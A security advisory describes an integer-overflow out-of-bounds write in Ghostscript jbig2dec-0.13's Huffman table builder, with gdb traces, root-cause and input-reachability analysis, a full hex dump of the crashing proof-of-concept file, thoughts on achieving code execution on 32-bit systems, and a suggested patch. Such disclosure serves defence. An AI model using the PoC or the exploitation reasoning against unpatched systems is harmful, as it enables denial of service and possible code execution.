Ghostscript jbig2dec-0.13 Out-of-Bound Memory Write Vulnerability due to Integer Overflow

Overview

I have found a vulnerability of Ghostscript jbig2dec-0.13 with AFL, which is a decoder implementation of JBIG2 image compression format. The vulnerability is caused by writing to an array with index coming from a signed integer. Due to integer overflow, it will bypass out-of-bound check with recognized as negative, but as array index it is interpreted as a large positive, which causes out-of-bound memory write. What's more, the written address and the number to write are all controlled by the input file. The vulnerability can cause Denial-of-Service (maybe further cause code execution).

Software and Environments

Software: Ghostscript jbig2dec-0.13 (https://ghostscript.com/jbig2dec.html)

Download by command line: git clone git://git.ghostscript.com/jbig2dec.git

Operating System: Ubuntu 14.04 x86_64 Desktop

```
pengjiaqi@ubuntu:~/Documents/crash/jbig2dec-gcc$ uname -a
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC
2014 x86_64 x86_64 x86_64 GNU/Linux
```

Compiler: gcc

```
pengjiaqi@ubuntu:~/Documents/crash/jbig2dec-gcc$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
```

Reproducing

The crash can be reproduced in the following way:

```
cd /* path of jbig2dec source code */
./autogen.sh –disable-shared
make
./jbig2dec /* path of PoC file */
```

Exception

Run '/jbig2dec' with PoC (i.e. id163), throwing exception of "Segmentation fault " :

```
pengjiaqi@ubuntu:~/Documents/crash/jbig2dec-gcc$ ./jbig2dec id163
jbig2dec WARNING unhandled segment type 'profile' (segment 0x01)
Segmentation fault
```

Analysis

1. Root Cause Analysis

Here is the crash stack:

```
gdb-peda$ bt
#0  0x000000000041617f in jbig2_build_huffman_table (ctx=0x61f250, params=0x61fc80)
    at jbig2_huffman.c:442
#1  0x000000000040c053 in jbig2_text_region (ctx=0x61f250, segment=0x61ffc0,
    segment_data=0x61f4b2 "") at jbig2_text.c:623
#2  0x00000000004060cc in jbig2_parse_segment (ctx=0x61f250, segment=0x61ffc0,
    segment_data=0x61f4b2 "") at jbig2_segment.c:238
#3  0x00000000004053fe in jbig2_data_in (ctx=0x61f250,
    data=0x7fffffffcd10 "\227JB2\r\n\032\n\001", size=0xb4) at jbig2.c:312
#4  0x0000000000401fde in main (argc=0x2, argv=0x7fffffffde18) at jbig2dec.c:456
#5  0x00007ffff7810f45 in __libc_start_main (main=0x401ca6 <main>, argc=0x2,
    argv=0x7fffffffde18, init=<optimized out>, fini=<optimized out>,
    rtld_fini=<optimized out>, stack_end=0x7fffffffde08) at libc-start.c:287
#6  0x0000000000401329 in _start ()
```

The crash happens in function 'jbig2_build_huffman_table @jbig2_huffman.c:442' due to an out-of-bound write of memory.

```
440                 if (PREFLEN + RANGELEN > LOG_TABLE_SIZE_MAX) {
441                     for (j = start_j; j < end_j; j++) {
442   j is out-of-bounds      entries[j].u.RANGELOW = lines[CURTEMP].RANGELOW;
443                         entries[j].PREFLEN = PREFLEN;
444                         entries[j].RANGELEN = RANGELEN;
445                         entries[j].flags = eflags;
446                     }
```

```
gdb-peda$ p start_j
$1 = 0x80000000
gdb-peda$ p j
$2 = 0x80000000
```

At crash time, j=start_j=0x80000000 (type: int). Then the address of entries[j] = entries + j*sizeof(Jbig2HuffmanEntry) = entries + j*16 = entries+ j<<4 = entries+ 0xfffffff800000000 (when used as address, it can be extended to 64bit unsigned int). Thus #line 442 will write to an illegal memory address, which causes this crash.

Here, the write address is extremely large, which definitely will cause crash.
More commonly, if j/start_j >= len(entries) (=max_j), it will cause an out-of-bound access of heap memory. However, in the program, there exists an access boundary check of 'entries' array, which checks “end_j > max_j”.

```
    max_j = 1 << log_table_size;

    result = jbig2_new(ctx, Jbig2HuffmanTable, 1);
    if (result == NULL) {
        jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "couldn't a
orage in jbig2_build_huffman_table");
        jbig2_free(ctx->allocator, LENCOUNT);
        return NULL;
    }
    result->log_table_size = log_table_size;
    entries = jbig2_new(ctx, Jbig2HuffmanEntry, max_j)
```

```
                int start_j = CURCODE << shift;
                int end_j = (CURCODE + 1) << shift;
                byte eflags = 0;

                if (end_j > max_j) {
                    jbig2_error(ctx, JBIG2_SEVERITY_FATAL, -1, "ran off the end
of the entries table! (%d >= %d)", end_j, max_j);
                    jbig2_free(ctx->allocator, result->entries);
                    jbig2_free(ctx->allocator, result);
                    jbig2_free(ctx->allocator, LENCOUNT);
                    return NULL;
                }
```

There can be divided into three cases:

a. start_j and end_j are both positive => successfully check, no crash
b. start_j positive and end_j negative -> only one possible value-set:
start_j=0x7fffffff, end_j= 0x80000000 => bypass the check, may crash
c. start_j and end_j are both negative => bypass the check, must crash

Therefore, to easily cause crash, just let start_j/end_j be negative.
Put it in another word: **start_j/end_j < 0 is the root cause of the crash**.

Next, we look back to find out **why 'start_j' is negative**:

```
    for (CURLEN = 1; CURLEN <= LENMAX; CURLEN++) {
        int shift = log_table_size - CURLEN;

        /* B.3 3.(a) */
        firstcode = (firstcode + LENCOUNT[CURLEN - 1]) << 1;
        CURCODE = firstcode;
        /* B.3 3.(b) */
        for (CURTEMP = 0; CURTEMP < n_lines; CURTEMP++) {
            int PREFLEN = lines[CURTEMP].PREFLEN;

            if (PREFLEN == CURLEN) {
                int RANGELEN = lines[CURTEMP].RANGELEN;
                int start_j = CURCODE << shift;
                int end_j = (CURCODE + 1) << shift;
                byte eflags = 0;
```

'start_j' is calculated by left shifting 'CURCODE' of 'shift' ;
'op1 << op2' operation will take 'op2' as unsigned, and it equals to 'op1 << (op2 mod bit_size(op1))'. Here, op1 and op2 are all int(32bit), so it equals 'op1 << (op2 mod 32)', which can be further simplified as 'op1 << (op2 & 0x1f)'.
Here, start_j = CURCODE << shift = CURCODE << (shift & 0x1f).

Only if (shift & 0x1f) is large enough, it's quite possible to cause start_j to be negative.

shift = log_table_size – CURLEN and max{CUELEN} = LENMAX.
From the below screenshot, we can see:

log_table_size <= LOG_TABLE_SIZE_MAX = 16
LENMAX = max{ lines[i].PREFLEN }

```
#define LOG_TABLE_SIZE_MAX 16
```

```
    /* B.3, 1. */
    for (i = 0; i < params->n_lines; i++) {
        int PREFLEN = lines[i].PREFLEN;
        int lts;

        if (PREFLEN > LENMAX) {
            for (j = LENMAX + 1; j < PREFLEN + 1; j++)
                LENCOUNT[j] = 0;
            LENMAX = PREFLEN;
        }
        LENCOUNT[PREFLEN]++;

        lts = PREFLEN + lines[i].RANGELEN;
        if (lts > LOG_TABLE_SIZE_MAX)
            lts = PREFLEN;
        if (lts <= LOG_TABLE_SIZE_MAX && log_table_size < lts)
            log_table_size = lts;
    }
```

From looking back, we can also know:

bit_length of lines[i].PREFLEN / lines[i].RANGELEN < 8

```
const int HTPS = (code_table_flags >> 1 & 0x07) + 1;
line[NTEMP].PREFLEN = jbig2_table_read_bits(lines_data, &boffset, HTPS);
const int HTRS = (code_table_flags >> 4 & 0x07) + 1;
line[NTEMP].RANGELEN = jbig2_table_read_bits(lines_data, &boffset, HTRS);
```

So, log_table_size, CURLEN, LENMAX are all positive.
To conclude, 'shift' (=log_table_size - CURLEN) can be two kinds of numbers:

a. positive -> shift < 16, shift & 0x1f < 16
b. negative -> shift > -LENMAX, shift & 0x1f < 32

Therefore, to make start_j = CURCODE << (shift & 0x1f) < 0:

when 'shift' is positive, CURCODE must >= 0x10000;
when **'shift' is negative**, with less limits on CURCODE, it's much easier.

Here: log_table_size=0x4, CURLEN=0x2f, so shift = 0x4–0x2f = -43 = 0xffffffd5 < 0
start_j = CURCODE << (shift & 0x1f) = 0x400 << 0x15 = 0x80000000 < 0

```
gdb-peda$ p log_table_size
$23 = 0x4
gdb-peda$ p CURLEN
$24 = 0x2f
gdb-peda$ p LENMAX
$25 = 0x72
gdb-peda$ p shift
$26 = 0xffffffd5
gdb-peda$ p CURCODE
$27 = 0x400
gdb-peda$ p start_j
$28 = 0x80000000
```

Next, we will analyze **why 'shift' is negative**.

In the above, we know: shift = log_table_size–CURLEN <= log_table_size–LENMAX

So, shift < 0 is due to LENMAX > log_table_size.

However, in the calculation of log_table_size, there is a limit of its value that is < LOG_TABLE_SIZE_MAX, while for LENMAX calculation there is no any limit, which is just the max value of lines[i].PREFLEN, and lines[i].PREFLEN just comes from the input file (this will be analyzed below).

Therefore, the **logic itself of calculation** of log_table_size and LENMAX just has **flaws**! An attacker can give an input file that makes lines[i].PREFLEN large enough (at least exist one item > 16) to let shift<0 and further to let start_j<0, then when start_j is used as array index it will cause an out-of-bound access of memory.

2. Input Reachability Analysis

We will continue to analysis that how can the input file influences lines[i].PREFLEN and lines[i].RANGELEN.

```
Jbig2HuffmanTable *
jbig2_build_huffman_table(Jbig2Ctx *ctx, const Jbig2HuffmanParams *params)
{
    int *LENCOUNT;
    int LENMAX = -1;
    const int lencountcount = 256;
    const Jbig2HuffmanLine *lines = params->lines;
```

'lines' comes from arguments 'params' of function jbig2_build_huffman_table().

Backtracking crash stack, this crash function will be called by 'jbig2_text_region() @ jbig2_text.c:623'.

```
473 /**
474  * jbig2_text_region: read a text region segment header
475  **/
476 int
477 jbig2_text_region(Jbig2Ctx *ctx, Jbig2Segment *segment, const byte *segment_data)
478 {
```

```
607         switch ((huffman_flags & 0x0030) >> 4) {
608         case 0:               /* Table B.11 */
609             params.SBHUFFDT = jbig2_build_huffman_table(ctx, &jbig2_huffman_params_K);
610             break;
611         case 1:               /* Table B.12 */
612             params.SBHUFFDT = jbig2_build_huffman_table(ctx, &jbig2_huffman_params_L);
613             break;
614         case 2:               /* Table B.13 */
615             params.SBHUFFDT = jbig2_build_huffman_table(ctx, &jbig2_huffman_params_M);
616             break;
617         case 3:               /* Custom table from referred segment */
618             huffman_params = jbig2_find_table(ctx, segment, table_index);
619             if (huffman_params == NULL) {
620                 code = jbig2_error(ctx, JBIG2_SEVERITY_FATAL, segment->number, "Custom DT
621                 goto cleanup1;
622             }
623             params.SBHUFFDT = jbig2_build_huffman_table(ctx, huffman_params);
624             ++table_index;
625             break;
626         }
```

In this function, it will call jbig2_find_table() and the return value will be passed as the argument 'params' of jbig2_build_huffman_table().

For jbig2_find_table()@jbig2_huffman.c:661, ctx and segment come from arguments of function jbig2_text_region(), and table_index is a concrete value. The function (source code is shown just below) will iterate segment->referred_to_segments array, and get segment from ctx->segments according to segment->referred_to_segments[i]; then check if the segment satisfies some constraints; finally return the result attribute of the index[th] segment that satisfies the check.

Therefore, the return value of jbig2_find_table(), which is just our target **'params'**, **must be ctx->segments[i]->result** (0 <= i < ctx->segment_index), which has been computed before.

We need to know where ctx->segments (including ctx->segments[i]->result) are set.

```
660 /* find a user supplied table used by 'segment' and by 'index' */
661 const Jbig2HuffmanParams *
662 jbig2_find_table(Jbig2Ctx *ctx, Jbig2Segment *segment, int index)
663 {
664     int i, table_index = 0;
665
666     for (i = 0; i < segment->referred_to_segment_count; i++) {
667         const Jbig2Segment *const rsegment = jbig2_find_segment(ctx,
segment->referred_to_segments[i]);
668
669         if (rsegment && (rsegment->flags & 63) == 53) {
670             if (table_index == index)
671                 return (const Jbig2HuffmanParams *)rsegment->result;
672             ++table_index;
673         }
674     }
675     return NULL;
676 }
```

```
Jbig2Segment *
jbig2_find_segment(Jbig2Ctx *ctx, uint32_t number)
{
    int index, index_max = ctx->segment_index - 1;
    const Jbig2Ctx *global_ctx = ctx->global_ctx;

    /* FIXME: binary search would be better */
    for (index = index_max; index >= 0; index--)
        if (ctx->segments[index]->number == number)
            return (ctx->segments[index]);

    if (global_ctx)
        for (index = global_ctx->segment_index - 1; index >= 0; index--)
            if (global_ctx->segments[index]->number == number)
                return (global_ctx->segments[index]);

    /* didn't find a match */
    return NULL;
}
```

In the crash function jbig2_build_huffman_table():

```
gdb-peda$ p params
$2 = (const Jbig2HuffmanParams *) 0x61fc80
gdb-peda$ p params->lines
$3 = (const Jbig2HuffmanLine *) 0x61fca0
gdb-peda$ p &(params->lines)
$4 = (const Jbig2HuffmanLine **) 0x61fc88
gdb-peda$ p params->lines[0]
$5 = {
  PREFLEN = 0x0,
  RANGELEN = 0xf4,
  RANGELOW = 0x80000000
}
```

What we care here is *params->lines*, so let's put a watchpoint on params->lines, to see where params->lines is set. To avoid limitation of local variables (i.e. params), we will really watch on address 0x61fc88(i.e. address of params->lines), to see where 0x61fc88 is written.

Here, use forward execution of gdb to see when 0x61fc88 is firstly set with 0x61fca0.

```
Hardware watchpoint 3: *(int *)0x61fc88

Old value = 0x0
New value = 0x61fca0
jbig2_table (ctx=0x61f250, segment=0x61fc40,
    segment_data=0x61f448 <incomplete sequence \375\200>)
    at jbig2_huffman.c:621
621             segment->result = params;
gdb-peda$ bt
#0  jbig2_table (ctx=0x61f250, segment=0x61fc40,
    segment_data=0x61f448 <incomplete sequence \375\200>)
    at jbig2_huffman.c:621
#1  0x000000000040622c in jbig2_parse_segment (ctx=0x61f250, segment=0x61fc40,

    segment_data=0x61f448 <incomplete sequence \375\200>)
    at jbig2_segment.c:266
#2  0x00000000004053fe in jbig2_data_in (ctx=0x61f250,
    data=0x7fffffffcd10 "\227JB2\r\n\032\n\001", size=0xb4) at jbig2.c:312
#3  0x0000000000401fde in main (argc=0x2, argv=0x7fffffffde18)
    at jbig2dec.c:456
```

Follow in source code in jbig2_huffman.c:

```
618         params->HTOOB = HTOOB;
619         params->n_lines = NTEMP;
620         params->lines = line;
621         segment->result = params;
```

Print out some related values: (to show difference, print *line* instead of *params->lines*)

```
gdb-peda$ p params
$11 = (Jbig2HuffmanParams *) 0x61fc80
gdb-peda$ p line
$12 = (Jbig2HuffmanLine *) 0x61fca0
gdb-peda$ p line[0]
$13 = {
  PREFLEN = 0x0,
  RANGELEN = 0xf4,
  RANGELOW = 0x80000000
}
```

Now, we know that params->lines is set in jbig2_table() @jbig2_huffman.c:620.

Further, we need to know where *line* (e.g. line[0].RANGELEN) comes from.

```
Hardware watchpoint 5: -location line[0].RANGELEN

Old value = 0xf4
New value = 0x0
0x00000000004166e1 in jbig2_table (ctx=0x61f250, segment=0x61fc40,
    segment_data=0x61f448 <incomplete sequence \375\200>)
    at jbig2_huffman.c:578
578                 line[NTEMP].RANGELEN = jbig2_table_read_bits(lines_data, &boffset, HTRS);
```

Follow in source code in jbig2_huffman.c:

```
574             line[NTEMP].PREFLEN = jbig2_table_read_bits(lines_data, &boffset, HTPS);
575             /* B.2 5) b) */
576             if (boffset + HTRS >= lines_data_bitlen)
577                 goto too_short;
578             line[NTEMP].RANGELEN = jbig2_table_read_bits(lines_data, &boffset, HTRS);
579             /* B.2 5) c) */
580             line[NTEMP].RANGELOW = CURRANGELOW;
```

```
gdb-peda$ x/5x lines_data
0x61f451:       0x01    0xe9    0xcb    0xf4    0x00
gdb-peda$ p boffset
$21 = 0xf
gdb-peda$ p HTRS
$22 = 0x8
gdb-peda$ p HTPS
$23 = 0x7
```

line[0].PREFLEN: read *HTPS*(7) bits from address *lines_data* by *boffset1* bits as offset.
line[0].RANGELEN: read *HTRS*(8) bits from addr *lines_data* by *boffset2* bits as offset.
(*boffset2 = boffset1+HTRS*)

Next, we check where *lines_data* comes from.

```
Hardware watchpoint 6: -location lines_data[0]

Old value = 0x1
New value = 0x0
__memcpy_sse2_unaligned ()
    at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:53
53      ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S: No such file or directory.
gdb-peda$ bt
#0  __memcpy_sse2_unaligned ()
    at ../sysdeps/x86_64/multiarch/memcpy-sse2-unaligned.S:53
#1  0x0000000000404fec in jbig2_data_in (ctx=0x61f250,
    data=0x7fffffffcd10 "\227JB2\r\n\032\n\001", size=0xb4) at jbig2.c:242
#2  0x0000000000401fde in main (argc=0x2, argv=0x7fffffffde18)
    at jbig2dec.c:456
```

```
242     memcpy(ctx->buf + ctx->buf_wr_ix, data, size);
```

Continually, trace where *data* comes from.
Set breakpoint on memcpy() and print out part of *data*.

```
gdb-peda$ b jbig2.c:242
Breakpoint 7 at 0x404fc4: file jbig2.c, line 242.
gdb-peda$ rc
Continuing.
```

```
7       breakpoint     keep y   0x0000000000404fc4 in jbig2_data_in
                                                   at jbig2.c:242
        breakpoint already hit 1 time
```

```
gdb-peda$ x/5x data
0x7fffffffcd10: 0x97    0x4a    0x42    0x32    0x0d
```

```
Hardware watchpoint 8: -location data[0]

Old value = 0x97
New value = 0x0
0x00007ffff78da6ae in __read_nocancel ()
    at ../sysdeps/unix/syscall-template.S:81
81      ../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ bt
#0  0x00007ffff78da6ae in __read_nocancel ()
    at ../sysdeps/unix/syscall-template.S:81
#1  0x00007ffff78682b9 in __GI__IO_file_xsgetn (fp=0x61f010,
    data=<optimized out>, n=0x1000) at fileops.c:1438
#2  0x00007ffff785d86f in __GI__IO_fread (buf=<optimized out>, size=0x1,
    count=0x1000, fp=0x61f010) at iofread.c:42
#3  0x0000000000401fab in main (argc=0x2, argv=0x7fffffffde18)
    at jbig2dec.c:452
#4  0x00007ffff7810f45 in __libc_start_main (main=0x401ca6 <main>, argc=0x2,
    argv=0x7fffffffde18, init=<optimized out>, fini=<optimized out>,
    rtld_fini=<optimized out>, stack_end=0x7fffffffde08) at libc-start.c:287
#5  0x0000000000401329 in _start ()
```

data[0] comes from fread(), which means it just comes from the input file.

```
0000000: 974a 4232 0d0a 1a0a 0100 0000 0300 0000  .JB2............
```

Therefore, *params->lines* in crash function comes directly from the input file!

```
0000000: 974a 4232 0d0a 1a0a 0100 0000 0300 0000  .JB2............
0000010: 0035 0100 0000 0018 fd80 0000 0001 0000  .5..............
0000020: 0001 e9cb f400 26af 04bf f078 2fe0 0040  ......&....x/..@
0000030: 0000 0001 3400 0100 0000 1300 0000 4000  ....4.........@.
0000040: 0000 3800 0000 0000 0000 0001 0000 0000  ..8.............
0000050: 0002 0001 0100 0000 1c00 0100 0000 0200  ................
0000060: 0000 02e5 cdf8 0079 e084 1081 f082 1086  .......y........
0000070: 1079 f000 8000 0000 0307 4200 0201 0000  .y........B.....
0000080: 0031 0000 0025 0000 0000 0000 0000 0000  .1...%..........
0000090: 0000 0c40 0708 7041 0000 0036 0000 002c  ...@..pA...6...,
00000a0: 0000 0004 0000 000b 0001 26a0 71ce a7ff  ..........&.q...
00000b0: ffff ffff 0a                             .....
```

offset: 0x21

From offset 0x21, read 7 bits to set params->lines[i]->PREFLEN, and next 8 bits to set params->lines[i]->RANGELEN, and recursively read until to some bound.

So, if an attacker provides an input file that makes:

max{params->lines[i]->PREFLEN} > 16

Then shift = log_table_size–CURLEN <= log_table_size–LENMAX < 0

Then start_j = CURCODE << shift = CURCODE << (shift & 0x1f) may < 0

Then &entries[j] = entries+ j<<4 = entries+ 0xfffffffxxxxxxxxx => illegal access !!!

Exploitation Analysis

This crash is caused by write a value to an inaccessible address.

More commonly, this vulnerability can described as writing a value to an address, which may further cause code execution.

a. The base address = entries+j<<4 , here j<0 and can be controlled by user indirectly (start_j = CURCODE<<shift, log_table_size-1 <= shift <= log_table_size-LENMAX, log_table_size and LENMAX are from input, even CURCODE is related to input)

b. The value to be written is directly controlled by user, i.e. PREFLEN/RANGELEN

```
for (j = start_j; j < end_j; j++) {
    entries[j].u.RANGELOW = lines[CURTEMP].RANGELOW;
    entries[j].PREFLEN = PREFLEN;
    entries[j].RANGELEN = RANGELEN;
    entries[j].flags = eflags;
}
```

addr: entries+j<<4

j can be controlle by user indirectly

PREFLEN, RANGELEN can be controller by user

In 64bit machine, start_j (int) will be first sign-extended to 64bit, which will be 0xffffffffxxxxxxxx, then entries+start_j<< 4 will be "entries+ 0xfffffffxxxxxxxxx".

We can write any number that user can control to the address, but the target address is not writable. So, in 64bit machine, we can only launch Denial-of-Service attack.

In 32bit machine , due to start_j is negative, start_j belongs to 0x8*xxxxxxx*~0xf*xxxxxxx*. Then target address entries+start_j<<4 will be entries+0x*xxxxxxx*0. If the vulnerability

is exploitable, i.e. attacker can write data to stack, GOT or somewhere else, then the offset 0x*xxxxxxx*0 must contain several bit_1 (e.g. 0x0000100). So, start_j must have at least 2 bit_1 (the highest bit of start_j is bit_1).
start_j=CURCODE<<shift (left shift will add bit_0 from right side), so the number of bit_1 in CURCODE >= number of bit_1 in start_j. Then, we need to make CURCODE contain at least 2 bit_1.

```
412     for (CURLEN = 1; CURLEN <= LENMAX; CURLEN++) {
413         int shift = log_table_size - CURLEN;
414 
415         /* B.3 3.(a) */
416         firstcode = (firstcode + LENCOUNT[CURLEN - 1]) << 1;
417         CURCODE = firstcode;
418         /* B.3 3.(b) */
419         for (CURTEMP = 0; CURTEMP < n_lines; CURTEMP++) {
420             int PREFLEN = lines[CURTEMP].PREFLEN;
421 
422             if (PREFLEN == CURLEN) {
423                 int RANGELEN = lines[CURTEMP].RANGELEN;
424                 int start_j = CURCODE << shift;
425                 int end_j = (CURCODE + 1) << shift;
426                 byte eflags = 0;
427 
428                 if (end_j > max_j) {
```

Only if LENCOUNT[i]=1, number of bit_1 in CURCODE will add 1.
To make LENCOUNT[i]=1, there must be j that satisfies lines[j]->PREFLEN = i.
So, in the n^{th} loop of line 412 that may be exploited, to make CURCODE contain at least 2 bit_1, there must be at least 2 PREFLEN that < CURLEN in current loop. What's more, for the two PREFLEN that will each execution the check (on line428), we must keep start_j and end_j can pass the check and won't cause crash, then we can come to our exploitable loop.
Therefore, this process needs elaborately design and calculation. It may not be such easy to work out, but it does work in theory.

Patch

The root cause of this crash, it uses start_j (signed int) as array index.
So, if set start_j and end_j **unsigned int**, as well as the size of entries – max_j, it will intercept any out-of-bound write by checking if end_j>max_j (which exists in program).

What's more, just as described above, the calculation of shift (= log_table_size-CURLEN) may have some flaws. In this way, shift can be negative easily, I don't think left shifting CURCODE by a negative number to be an array index is what the programmer really wants.

Author

Name: Jiaqi Peng,   Bingchang Liu of VARAS@IIE
Organization: IIE (http://iie.ac.cn/)